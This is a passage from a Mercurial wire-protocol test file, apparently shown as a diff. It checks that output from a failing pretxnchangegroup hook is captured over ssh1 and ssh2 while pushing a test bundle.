956 o> read(1) -> 1: 0
956 o> read(1) -> 1: 0
957 result: 0
957 result: 0
958 remote output:
958 remote output:
959 e> read(-1) -> 193:
959 e> read(-1) -> 193:
960 e> adding changesets\n
960 e> adding changesets\n
961 e> adding manifests\n
961 e> adding manifests\n
962 e> adding file changes\n
962 e> adding file changes\n
963 e> added 1 changesets with 1 changes to 1 files\n
963 e> added 1 changesets with 1 changes to 1 files\n
964 e> printed line\n
964 e> printed line\n
965 e> transaction abort!\n
965 e> transaction abort!\n
966 e> rollback completed\n
966 e> rollback completed\n
967 e> abort: pretxnchangegroup.fail hook failed\n
967 e> abort: pretxnchangegroup.fail hook failed\n
968
968
969 Mixed print() and ui.write() are both captured
969 Mixed print() and ui.write() are both captured
970
970
971 $ cat > .hg/hgrc << EOF
971 $ cat > .hg/hgrc << EOF
972 > [hooks]
972 > [hooks]
973 > pretxnchangegroup.fail = python:$TESTTMP/failhook:hookprintandwrite
973 > pretxnchangegroup.fail = python:$TESTTMP/failhook:hookprintandwrite
974 > EOF
974 > EOF
975
975
976 $ debugwireproto << EOF
976 $ debugwireproto << EOF
977 > command unbundle
977 > command unbundle
978 > # This is "force" in hex.
978 > # This is "force" in hex.
979 > heads 666f726365
979 > heads 666f726365
980 > PUSHFILE ../initial.v1.hg
980 > PUSHFILE ../initial.v1.hg
981 > readavailable
981 > readavailable
982 > EOF
982 > EOF
983 testing ssh1
983 testing ssh1
984 creating ssh peer from handshake results
984 creating ssh peer from handshake results
985 i> write(104) -> None:
985 i> write(104) -> 104:
986 i> hello\n
986 i> hello\n
987 i> between\n
987 i> between\n
988 i> pairs 81\n
988 i> pairs 81\n
989 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
989 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
990 i> flush() -> None
990 i> flush() -> None
991 o> readline() -> 4:
991 o> readline() -> 4:
992 o> 384\n
992 o> 384\n
993 o> readline() -> 384:
993 o> readline() -> 384:
994 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
994 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
995 o> readline() -> 2:
995 o> readline() -> 2:
996 o> 1\n
996 o> 1\n
997 o> readline() -> 1:
997 o> readline() -> 1:
998 o> \n
998 o> \n
999 sending unbundle command
999 sending unbundle command
1000 i> write(9) -> None:
1000 i> write(9) -> 9:
1001 i> unbundle\n
1001 i> unbundle\n
1002 i> write(9) -> None:
1002 i> write(9) -> 9:
1003 i> heads 10\n
1003 i> heads 10\n
1004 i> write(10) -> None: 666f726365
1004 i> write(10) -> 10: 666f726365
1005 i> flush() -> None
1005 i> flush() -> None
1006 o> readline() -> 2:
1006 o> readline() -> 2:
1007 o> 0\n
1007 o> 0\n
1008 i> write(4) -> None:
1008 i> write(4) -> 4:
1009 i> 426\n
1009 i> 426\n
1010 i> write(426) -> None:
1010 i> write(426) -> 426:
1011 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
1011 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
1012 i> test\n
1012 i> test\n
1013 i> 0 0\n
1013 i> 0 0\n
1014 i> foo\n
1014 i> foo\n
1015 i> \n
1015 i> \n
1016 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
1016 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
1017 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
1017 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
1018 i> \x00\x00\x00\x00\x00\x00\x00\x00
1018 i> \x00\x00\x00\x00\x00\x00\x00\x00
1019 i> write(2) -> None:
1019 i> write(2) -> 2:
1020 i> 0\n
1020 i> 0\n
1021 i> flush() -> None
1021 i> flush() -> None
1022 o> readline() -> 2:
1022 o> readline() -> 2:
1023 o> 0\n
1023 o> 0\n
1024 o> readline() -> 2:
1024 o> readline() -> 2:
1025 o> 1\n
1025 o> 1\n
1026 o> read(1) -> 1: 0
1026 o> read(1) -> 1: 0
1027 result: 0
1027 result: 0
1028 remote output:
1028 remote output:
1029 e> read(-1) -> 218:
1029 e> read(-1) -> 218:
1030 e> adding changesets\n
1030 e> adding changesets\n
1031 e> adding manifests\n
1031 e> adding manifests\n
1032 e> adding file changes\n
1032 e> adding file changes\n
1033 e> added 1 changesets with 1 changes to 1 files\n
1033 e> added 1 changesets with 1 changes to 1 files\n
1034 e> ui.write 1\n
1034 e> ui.write 1\n
1035 e> ui.write 2\n
1035 e> ui.write 2\n
1036 e> print 1\n
1036 e> print 1\n
1037 e> print 2\n
1037 e> print 2\n
1038 e> transaction abort!\n
1038 e> transaction abort!\n
1039 e> rollback completed\n
1039 e> rollback completed\n
1040 e> abort: pretxnchangegroup.fail hook failed\n
1040 e> abort: pretxnchangegroup.fail hook failed\n
1041
1041
1042 testing ssh2
1042 testing ssh2
1043 creating ssh peer from handshake results
1043 creating ssh peer from handshake results
1044 i> write(171) -> None:
1044 i> write(171) -> 171:
1045 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
1045 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
1046 i> hello\n
1046 i> hello\n
1047 i> between\n
1047 i> between\n
1048 i> pairs 81\n
1048 i> pairs 81\n
1049 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1049 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1050 i> flush() -> None
1050 i> flush() -> None
1051 o> readline() -> 62:
1051 o> readline() -> 62:
1052 o> upgraded * exp-ssh-v2-0001\n (glob)
1052 o> upgraded * exp-ssh-v2-0001\n (glob)
1053 o> readline() -> 4:
1053 o> readline() -> 4:
1054 o> 383\n
1054 o> 383\n
1055 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
1055 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
1056 o> read(1) -> 1:
1056 o> read(1) -> 1:
1057 o> \n
1057 o> \n
1058 sending unbundle command
1058 sending unbundle command
1059 i> write(9) -> None:
1059 i> write(9) -> 9:
1060 i> unbundle\n
1060 i> unbundle\n
1061 i> write(9) -> None:
1061 i> write(9) -> 9:
1062 i> heads 10\n
1062 i> heads 10\n
1063 i> write(10) -> None: 666f726365
1063 i> write(10) -> 10: 666f726365
1064 i> flush() -> None
1064 i> flush() -> None
1065 o> readline() -> 2:
1065 o> readline() -> 2:
1066 o> 0\n
1066 o> 0\n
1067 i> write(4) -> None:
1067 i> write(4) -> 4:
1068 i> 426\n
1068 i> 426\n
1069 i> write(426) -> None:
1069 i> write(426) -> 426:
1070 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
1070 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
1071 i> test\n
1071 i> test\n
1072 i> 0 0\n
1072 i> 0 0\n
1073 i> foo\n
1073 i> foo\n
1074 i> \n
1074 i> \n
1075 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
1075 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
1076 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
1076 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
1077 i> \x00\x00\x00\x00\x00\x00\x00\x00
1077 i> \x00\x00\x00\x00\x00\x00\x00\x00
1078 i> write(2) -> None:
1078 i> write(2) -> 2:
1079 i> 0\n
1079 i> 0\n
1080 i> flush() -> None
1080 i> flush() -> None
1081 o> readline() -> 2:
1081 o> readline() -> 2:
1082 o> 0\n
1082 o> 0\n
1083 o> readline() -> 2:
1083 o> readline() -> 2:
1084 o> 1\n
1084 o> 1\n
1085 o> read(1) -> 1: 0
1085 o> read(1) -> 1: 0
1086 result: 0
1086 result: 0
1087 remote output:
1087 remote output:
1088 e> read(-1) -> 218:
1088 e> read(-1) -> 218:
1089 e> adding changesets\n
1089 e> adding changesets\n
1090 e> adding manifests\n
1090 e> adding manifests\n
1091 e> adding file changes\n
1091 e> adding file changes\n
1092 e> added 1 changesets with 1 changes to 1 files\n
1092 e> added 1 changesets with 1 changes to 1 files\n
1093 e> ui.write 1\n
1093 e> ui.write 1\n
1094 e> ui.write 2\n
1094 e> ui.write 2\n
1095 e> print 1\n
1095 e> print 1\n
1096 e> print 2\n
1096 e> print 2\n
1097 e> transaction abort!\n
1097 e> transaction abort!\n
1098 e> rollback completed\n
1098 e> rollback completed\n
1099 e> abort: pretxnchangegroup.fail hook failed\n
1099 e> abort: pretxnchangegroup.fail hook failed\n
1100
1100
1101 print() to stdout and stderr both get captured
1101 print() to stdout and stderr both get captured
1102
1102
1103 $ cat > .hg/hgrc << EOF
1103 $ cat > .hg/hgrc << EOF
1104 > [hooks]
1104 > [hooks]
1105 > pretxnchangegroup.fail = python:$TESTTMP/failhook:hookprintstderrandstdout
1105 > pretxnchangegroup.fail = python:$TESTTMP/failhook:hookprintstderrandstdout
1106 > EOF
1106 > EOF
1107
1107
1108 $ debugwireproto << EOF
1108 $ debugwireproto << EOF
1109 > command unbundle
1109 > command unbundle
1110 > # This is "force" in hex.
1110 > # This is "force" in hex.
1111 > heads 666f726365
1111 > heads 666f726365
1112 > PUSHFILE ../initial.v1.hg
1112 > PUSHFILE ../initial.v1.hg
1113 > readavailable
1113 > readavailable
1114 > EOF
1114 > EOF
1115 testing ssh1
1115 testing ssh1
1116 creating ssh peer from handshake results
1116 creating ssh peer from handshake results
1117 i> write(104) -> None:
1117 i> write(104) -> 104:
1118 i> hello\n
1118 i> hello\n
1119 i> between\n
1119 i> between\n
1120 i> pairs 81\n
1120 i> pairs 81\n
1121 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1121 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1122 i> flush() -> None
1122 i> flush() -> None
1123 o> readline() -> 4:
1123 o> readline() -> 4:
1124 o> 384\n
1124 o> 384\n
1125 o> readline() -> 384:
1125 o> readline() -> 384:
1126 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
1126 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
1127 o> readline() -> 2:
1127 o> readline() -> 2:
1128 o> 1\n
1128 o> 1\n
1129 o> readline() -> 1:
1129 o> readline() -> 1:
1130 o> \n
1130 o> \n
1131 sending unbundle command
1131 sending unbundle command
1132 i> write(9) -> None:
1132 i> write(9) -> 9:
1133 i> unbundle\n
1133 i> unbundle\n
1134 i> write(9) -> None:
1134 i> write(9) -> 9:
1135 i> heads 10\n
1135 i> heads 10\n
1136 i> write(10) -> None: 666f726365
1136 i> write(10) -> 10: 666f726365
1137 i> flush() -> None
1137 i> flush() -> None
1138 o> readline() -> 2:
1138 o> readline() -> 2:
1139 o> 0\n
1139 o> 0\n
1140 i> write(4) -> None:
1140 i> write(4) -> 4:
1141 i> 426\n
1141 i> 426\n
1142 i> write(426) -> None:
1142 i> write(426) -> 426:
1143 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
1143 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
1144 i> test\n
1144 i> test\n
1145 i> 0 0\n
1145 i> 0 0\n
1146 i> foo\n
1146 i> foo\n
1147 i> \n
1147 i> \n
1148 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
1148 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
1149 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
1149 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
1150 i> \x00\x00\x00\x00\x00\x00\x00\x00
1150 i> \x00\x00\x00\x00\x00\x00\x00\x00
1151 i> write(2) -> None:
1151 i> write(2) -> 2:
1152 i> 0\n
1152 i> 0\n
1153 i> flush() -> None
1153 i> flush() -> None
1154 o> readline() -> 2:
1154 o> readline() -> 2:
1155 o> 0\n
1155 o> 0\n
1156 o> readline() -> 2:
1156 o> readline() -> 2:
1157 o> 1\n
1157 o> 1\n
1158 o> read(1) -> 1: 0
1158 o> read(1) -> 1: 0
1159 result: 0
1159 result: 0
1160 remote output:
1160 remote output:
1161 e> read(-1) -> 216:
1161 e> read(-1) -> 216:
1162 e> adding changesets\n
1162 e> adding changesets\n
1163 e> adding manifests\n
1163 e> adding manifests\n
1164 e> adding file changes\n
1164 e> adding file changes\n
1165 e> added 1 changesets with 1 changes to 1 files\n
1165 e> added 1 changesets with 1 changes to 1 files\n
1166 e> stderr 1\n
1166 e> stderr 1\n
1167 e> stderr 2\n
1167 e> stderr 2\n
1168 e> stdout 1\n
1168 e> stdout 1\n
1169 e> stdout 2\n
1169 e> stdout 2\n
1170 e> transaction abort!\n
1170 e> transaction abort!\n
1171 e> rollback completed\n
1171 e> rollback completed\n
1172 e> abort: pretxnchangegroup.fail hook failed\n
1172 e> abort: pretxnchangegroup.fail hook failed\n
1173
1173
1174 testing ssh2
1174 testing ssh2
1175 creating ssh peer from handshake results
1175 creating ssh peer from handshake results
1176 i> write(171) -> None:
1176 i> write(171) -> 171:
1177 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
1177 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
1178 i> hello\n
1178 i> hello\n
1179 i> between\n
1179 i> between\n
1180 i> pairs 81\n
1180 i> pairs 81\n
1181 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1181 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1182 i> flush() -> None
1182 i> flush() -> None
1183 o> readline() -> 62:
1183 o> readline() -> 62:
1184 o> upgraded * exp-ssh-v2-0001\n (glob)
1184 o> upgraded * exp-ssh-v2-0001\n (glob)
1185 o> readline() -> 4:
1185 o> readline() -> 4:
1186 o> 383\n
1186 o> 383\n
1187 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
1187 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
1188 o> read(1) -> 1:
1188 o> read(1) -> 1:
1189 o> \n
1189 o> \n
1190 sending unbundle command
1190 sending unbundle command
1191 i> write(9) -> None:
1191 i> write(9) -> 9:
1192 i> unbundle\n
1192 i> unbundle\n
1193 i> write(9) -> None:
1193 i> write(9) -> 9:
1194 i> heads 10\n
1194 i> heads 10\n
1195 i> write(10) -> None: 666f726365
1195 i> write(10) -> 10: 666f726365
1196 i> flush() -> None
1196 i> flush() -> None
1197 o> readline() -> 2:
1197 o> readline() -> 2:
1198 o> 0\n
1198 o> 0\n
1199 i> write(4) -> None:
1199 i> write(4) -> 4:
1200 i> 426\n
1200 i> 426\n
1201 i> write(426) -> None:
1201 i> write(426) -> 426:
1202 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
1202 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
1203 i> test\n
1203 i> test\n
1204 i> 0 0\n
1204 i> 0 0\n
1205 i> foo\n
1205 i> foo\n
1206 i> \n
1206 i> \n
1207 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
1207 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
1208 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
1208 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
1209 i> \x00\x00\x00\x00\x00\x00\x00\x00
1209 i> \x00\x00\x00\x00\x00\x00\x00\x00
1210 i> write(2) -> None:
1210 i> write(2) -> 2:
1211 i> 0\n
1211 i> 0\n
1212 i> flush() -> None
1212 i> flush() -> None
1213 o> readline() -> 2:
1213 o> readline() -> 2:
1214 o> 0\n
1214 o> 0\n
1215 o> readline() -> 2:
1215 o> readline() -> 2:
1216 o> 1\n
1216 o> 1\n
1217 o> read(1) -> 1: 0
1217 o> read(1) -> 1: 0
1218 result: 0
1218 result: 0
1219 remote output:
1219 remote output:
1220 e> read(-1) -> 216:
